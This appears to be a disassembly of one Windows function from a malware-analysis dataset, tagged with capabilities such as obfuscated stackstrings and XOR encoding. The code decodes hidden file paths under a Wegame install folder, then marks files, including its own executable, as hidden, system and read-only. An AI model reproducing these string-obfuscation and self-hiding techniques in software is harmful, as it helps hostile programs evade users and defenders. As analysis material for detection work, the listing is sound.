Function at 0x14000e7c0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov dword [rsp + 0x20], 0x38
mov eax, dword [rsp + 0x20]
xor al, 0x43
mov byte [rsp + 0x24], al
mov eax, dword [rsp + 0x20]
inc al
xor al, 0x3a
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x20]
add al, 2
xor al, 0x5c
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x20]
add al, 3
xor al, 0x50
mov byte [rsp + 0x27], al
mov eax, dword [rsp + 0x20]
add al, 4
xor al, 0x72
mov byte [rsp + 0x28], al
mov eax, dword [rsp + 0x20]
add al, 5
xor al, 0x6f
mov byte [rsp + 0x29], al
mov eax, dword [rsp + 0x20]
add al, 6
xor al, 0x67
mov byte [rsp + 0x2a], al
mov eax, dword [rsp + 0x20]
add al, 7
xor al, 0x72
mov byte [rsp + 0x2b], al
mov eax, dword [rsp + 0x20]
add al, 8
xor al, 0x61
mov byte [rsp + 0x2c], al
mov eax, dword [rsp + 0x20]
add al, 9
xor al, 0x6d
mov byte [rsp + 0x2d], al
mov eax, dword [rsp + 0x20]
add al, 0xa
xor al, 0x20
mov byte [rsp + 0x2e], al
mov eax, dword [rsp + 0x20]
add al, 0xb
xor al, 0x46
mov byte [rsp + 0x2f], al
mov eax, dword [rsp + 0x20]
add al, 0xc
xor al, 0x69
mov byte [rsp + 0x30], al
mov eax, dword [rsp + 0x20]
add al, 0xd
xor al, 0x6c
mov byte [rsp + 0x31], al
mov eax, dword [rsp + 0x20]
add al, 0xe
xor al, 0x65
mov byte [rsp + 0x32], al
mov eax, dword [rsp + 0x20]
add al, 0xf
xor al, 0x73
mov byte [rsp + 0x33], al
mov eax, dword [rsp + 0x20]
add al, 0x10
xor al, 0x20
mov byte [rsp + 0x34], al
mov eax, dword [rsp + 0x20]
add al, 0x11
xor al, 0x28
mov byte [rsp + 0x35], al
mov eax, dword [rsp + 0x20]
add al, 0x12
xor al, 0x78
mov byte [rsp + 0x36], al
mov eax, dword [rsp + 0x20]
add al, 0x13
xor al, 0x38
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x20]
add al, 0x14
xor al, 0x36
mov byte [rsp + 0x38], al
mov eax, dword [rsp + 0x20]
add al, 0x15
xor al, 0x29
mov byte [rsp + 0x39], al
mov eax, dword [rsp + 0x20]
add al, 0x16
xor al, 0x5c
mov byte [rsp + 0x3a], al
mov eax, dword [rsp + 0x20]
add al, 0x17
xor al, 0x57
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x20]
add al, 0x18
xor al, 0x65
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x20]
add al, 0x19
xor al, 0x67
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x20]
add al, 0x1a
xor al, 0x61
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x20]
add al, 0x1b
xor al, 0x6d
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x20]
add al, 0x1c
xor al, 0x65
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x20]
add al, 0x1d
xor al, 0x5c
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x20]
add al, 0x1e
xor al, 0x77
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x20]
add al, 0x1f
xor al, 0x65
mov byte [rsp + 0x43], al
mov eax, dword [rsp + 0x20]
add al, 0x20
xor al, 0x67
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x20]
add al, 0x21
xor al, 0x61
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x20]
add al, 0x22
xor al, 0x6d
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x20]
add al, 0x23
xor al, 0x65
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x20]
add al, 0x24
xor al, 0x5f
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x20]
add al, 0x25
xor al, 0x64
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x20]
add al, 0x26
xor al, 0x61
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x20]
add al, 0x27
xor al, 0x65
mov byte [rsp + 0x4b], al
mov eax, dword [rsp + 0x20]
add al, 0x28
xor al, 0x6d
mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x20]
add al, 0x29
xor al, 0x6f
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x20]
add al, 0x2a
xor al, 0x6e
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x20]
add al, 0x2b
xor al, 0x2e
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x20]
add al, 0x2c
xor al, 0x65
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x20]
add al, 0x2d
xor al, 0x78
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x20]
add al, 0x2e
xor al, 0x65
mov byte [rsp + 0x52], al
xor eax, eax
mov byte [rsp + 0x53], al
movzx eax, byte [rsp + 0x24]
xor ebx, ebx
mov eax, ebx
movzx ecx, byte [rsp + rax + 0x24]
mov edx, dword [rsp + 0x20]
add dl, al
xor dl, cl
mov byte [rsp + rax + 0x24], dl
inc rax
cmp rax, 0x2f
jb 0x14000ea23
mov byte [rsp + 0x53], bl
lea rdx, [rsp + 0x24]
lea rcx, [rbp + 0x18]
call fcn.140003760
nop
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rcx, qword [rbp + 0x18]
lea rdx, [rbp + 0x60]
call qword [0x14001fed8]
cmp rax, 0xffffffffffffffff
jne 0x14000ea7c
mov rcx, rax
call qword [0x14001fe68]
xor dil, dil
jmp 0x14000ea88
mov rcx, rax
call qword [0x14001fe68]
mov dil, 1
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14000eac6
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eac1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000eac1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
test dil, dil
je 0x14000ebda
mov dword [rbp - 0x74], WSACleanup
mov byte [rbp - 0x70], 0x32
mov byte [rbp - 0x6f], 0x4b
mov byte [rbp - 0x6e], 0x2d
mov byte [rbp - 0x6d], 0x21
mov byte [rbp - 0x6c], 3
mov byte [rbp - 0x6b], 0x1e
mov byte [rbp - 0x6a], 0x16
mov byte [rbp - 0x69], 3
mov byte [rbp - 0x68], 0x10
mov byte [rbp - 0x67], 0x1c
mov byte [rbp - 0x66], 0x51
mov byte [rbp - 0x65], 0x37
mov byte [rbp - 0x64], 0x18
mov byte [rbp - 0x63], 0x1d
mov byte [rbp - 0x62], 0x14
mov byte [rbp - 0x61], 2
mov byte [rbp - 0x60], 0x51
mov byte [rbp - 0x5f], 0x59
mov byte [rbp - 0x5e], 9
mov byte [rbp - 0x5d], 0x49
mov byte [rbp - 0x5c], 0x47
mov byte [rbp - 0x5b], 0x58
mov byte [rbp - 0x5a], 0x2d
mov byte [rbp - 0x59], 0x26
mov byte [rbp - 0x58], 0x14
mov byte [rbp - 0x57], 0x16
mov byte [rbp - 0x56], 0x10
mov byte [rbp - 0x55], 0x1c
mov byte [rbp - 0x54], 0x14
mov byte [rbp - 0x53], 0x2d
mov byte [rbp - 0x52], 6
mov byte [rbp - 0x51], 0x14
mov byte [rbp - 0x50], 0x16
mov byte [rbp - 0x4f], 0x10
mov byte [rbp - 0x4e], 0x1c
mov byte [rbp - 0x4d], 0x14
mov byte [rbp - 0x4c], 0x2e
mov byte [rbp - 0x4b], 0x15
mov byte [rbp - 0x4a], 0x10
mov byte [rbp - 0x49], 0x14
mov byte [rbp - 0x48], 0x1c
mov byte [rbp - 0x47], 0x1e
mov byte [rbp - 0x46], 0x1f
mov byte [rbp - 0x45], 0x5f
mov byte [rbp - 0x44], 0x14
mov byte [rbp - 0x43], 9
mov byte [rbp - 0x42], 0x14
xor eax, eax
mov byte [rbp - 0x41], al
movzx eax, byte [rbp - 0x70]
mov rdx, rbx
nop
movzx eax, byte [rbp + rdx - 0x70]
mov ecx, dword [rbp - 0x74]
xor cl, al
mov byte [rbp + rdx - 0x70], cl
inc rdx
cmp rdx, 0x2f
jb 0x14000ebb0
mov byte [rbp - 0x41], 0
mov edx, 7
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [rsp + 0x54], 0x49
mov eax, dword [rsp + 0x54]
xor al, 0x43
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x54]
inc al
xor al, 0x3a
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x54]
add al, 2
xor al, 0x5c
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x54]
add al, 3
xor al, 0x50
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x54]
add al, 4
xor al, 0x72
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x54]
add al, 5
xor al, 0x6f
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x54]
add al, 6
xor al, 0x67
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x54]
add al, 7
xor al, 0x72
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x54]
add al, 8
xor al, 0x61
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x54]
add al, 9
xor al, 0x6d
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x54]
add al, 0xa
xor al, 0x20
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x54]
add al, 0xb
xor al, 0x46
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x54]
add al, 0xc
xor al, 0x69
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x54]
add al, 0xd
xor al, 0x6c
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x54]
add al, 0xe
xor al, 0x65
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x54]
add al, 0xf
xor al, 0x73
mov byte [rsp + 0x67], al
mov eax, dword [rsp + 0x54]
add al, 0x10
xor al, 0x20
mov byte [rsp + 0x68], al
mov eax, dword [rsp + 0x54]
add al, 0x11
xor al, 0x28
mov byte [rsp + 0x69], al
mov eax, dword [rsp + 0x54]
add al, 0x12
xor al, 0x78
mov byte [rsp + 0x6a], al
mov eax, dword [rsp + 0x54]
add al, 0x13
xor al, 0x38
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x54]
add al, 0x14
xor al, 0x36
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x54]
add al, 0x15
xor al, 0x29
mov byte [rsp + 0x6d], al
mov eax, dword [rsp + 0x54]
add al, 0x16
xor al, 0x5c
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x54]
add al, 0x17
xor al, 0x57
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x54]
add al, 0x18
xor al, 0x65
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x54]
add al, 0x19
xor al, 0x67
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x54]
add al, 0x1a
xor al, 0x61
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x54]
add al, 0x1b
xor al, 0x6d
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x54]
add al, 0x1c
xor al, 0x65
mov byte [rsp + 0x74], al
mov eax, dword [rsp + 0x54]
add al, 0x1d
xor al, 0x5c
mov byte [rsp + 0x75], al
mov eax, dword [rsp + 0x54]
add al, 0x1e
xor al, 0x77
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x54]
add al, 0x1f
xor al, 0x65
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x54]
add al, 0x20
xor al, 0x67
mov byte [rsp + 0x78], al
mov eax, dword [rsp + 0x54]
add al, 0x21
xor al, 0x61
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x54]
add al, 0x22
xor al, 0x6d
mov byte [rsp + 0x7a], al
mov eax, dword [rsp + 0x54]
add al, 0x23
xor al, 0x65
mov byte [rsp + 0x7b], al
mov eax, dword [rsp + 0x54]
add al, 0x24
xor al, 0x5f
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x54]
add al, 0x25
xor al, 0x73
mov byte [rsp + 0x7d], al
mov eax, dword [rsp + 0x54]
add al, 0x26
xor al, 0x65
mov byte [rsp + 0x7e], al
mov eax, dword [rsp + 0x54]
add al, 0x27
xor al, 0x72
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x54]
add al, 0x28
xor al, 0x76
mov byte [rbp - 0x80], al
mov eax, dword [rsp + 0x54]
add al, 0x29
xor al, 0x69
mov byte [rbp - 0x7f], al
mov eax, dword [rsp + 0x54]
add al, 0x2a
xor al, 0x63
mov byte [rbp - 0x7e], al
mov eax, dword [rsp + 0x54]
add al, 0x2b
xor al, 0x65
mov byte [rbp - 0x7d], al
mov eax, dword [rsp + 0x54]
add al, 0x2c
xor al, 0x2e
mov byte [rbp - 0x7c], al
mov eax, dword [rsp + 0x54]
add al, 0x2d
xor al, 0x65
mov byte [rbp - 0x7b], al
mov eax, dword [rsp + 0x54]
add al, 0x2e
xor al, 0x78
mov byte [rbp - 0x7a], al
mov eax, dword [rsp + 0x54]
add al, 0x2f
xor al, 0x65
mov byte [rbp - 0x79], al
xor eax, eax
mov byte [rbp - 0x78], al
movzx eax, byte [rsp + 0x58]
mov rdx, rbx
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x58]
mov ecx, dword [rsp + 0x54]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x58], cl
inc rdx
cmp rdx, 0x30
jb 0x14000ee30
mov byte [rbp - 0x78], 0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x38]
call fcn.140003760
nop
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
lea rdx, [rbp + 0x1a0]
call qword [0x14001fed8]
cmp rax, 0xffffffffffffffff
jne 0x14000ee8c
mov rcx, rax
call qword [0x14001fe68]
xor dil, dil
jmp 0x14000ee98
mov rcx, rax
call qword [0x14001fe68]
mov dil, 1
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x14000eed6
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eed1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000eed1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
test dil, dil
je 0x14000efea
mov dword [rbp - 0x40], 0x52
mov byte [rbp - 0x3c], 0x11
mov byte [rbp - 0x3b], 0x68
mov byte [rbp - 0x3a], 0xe
mov byte [rbp - 0x39], 2
mov byte [rbp - 0x38], 0x20
mov byte [rbp - 0x37], 0x3d
mov byte [rbp - 0x36], 0x35
mov byte [rbp - 0x35], 0x20
mov byte [rbp - 0x34], 0x33
mov byte [rbp - 0x33], 0x3f
mov byte [rbp - 0x32], WSACleanup
mov byte [rbp - 0x31], 0x14
mov byte [rbp - 0x30], 0x3b
mov byte [rbp - 0x2f], 0x3e
mov byte [rbp - 0x2e], 0x37
mov byte [rbp - 0x2d], 0x21
mov byte [rbp - 0x2c], WSACleanup
mov byte [rbp - 0x2b], 0x7a
mov byte [rbp - 0x2a], 0x2a
mov byte [rbp - 0x29], 0x6a
mov byte [rbp - 0x28], 0x64
mov byte [rbp - 0x27], 0x7b
mov byte [rbp - 0x26], 0xe
mov byte [rbp - 0x25], 5
mov byte [rbp - 0x24], 0x37
mov byte [rbp - 0x23], 0x35
mov byte [rbp - 0x22], 0x33
mov byte [rbp - 0x21], 0x3f
mov byte [rbp - 0x20], 0x37
mov byte [rbp - 0x1f], 0xe
mov byte [rbp - 0x1e], 0x25
mov byte [rbp - 0x1d], 0x37
mov byte [rbp - 0x1c], 0x35
mov byte [rbp - 0x1b], 0x33
mov byte [rbp - 0x1a], 0x3f
mov byte [rbp - 0x19], 0x37
mov byte [rbp - 0x18], 0xd
mov byte [rbp - 0x17], 0x21
mov byte [rbp - 0x16], 0x37
mov byte [rbp - 0x15], 0x20
mov byte [rbp - 0x14], 0x24
mov byte [rbp - 0x13], 0x3b
mov byte [rbp - 0x12], 0x31
mov byte [rbp - 0x11], 0x37
mov byte [rbp - 0x10], 0x7c
mov byte [rbp - 0xf], 0x37
mov byte [rbp - 0xe], 0x2a
mov byte [rbp - 0xd], 0x37
xor eax, eax
mov byte [rbp - 0xc], al
movzx eax, byte [rbp - 0x3c]
movzx eax, byte [rbp + rbx - 0x3c]
mov ecx, dword [rbp - 0x40]
xor cl, al
mov byte [rbp + rbx - 0x3c], cl
inc rbx
cmp rbx, 0x30
jb 0x14000efc0
mov byte [rbp - 0xc], 0
mov edx, 7
lea rcx, [rbp - 0x3c]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r8d, 0x104
lea rdx, [rbp + 0x2e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 7
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x14000f02f
lea rdx, [0x140019c90]
lea rcx, [rbp - 8]
call fcn.140003760
mov rcx, rax
call fcn.14000d750
jmp 0x14000f05e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140010020
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400101f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov word [rbp + 6], 0
mov qword [rbp + 8], 0xe
mov qword [rbp + 0x10], 0xf
movsd xmm0, qword [0x140019cc8]
movsd qword [rbp - 8], xmm0
mov eax, dword [0x140019cd0]
mov dword [rbp], eax
movzx eax, word [0x140019cd4]
mov word [rbp + 4], ax
lea rcx, [rbp - 8]
call fcn.14000d750
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret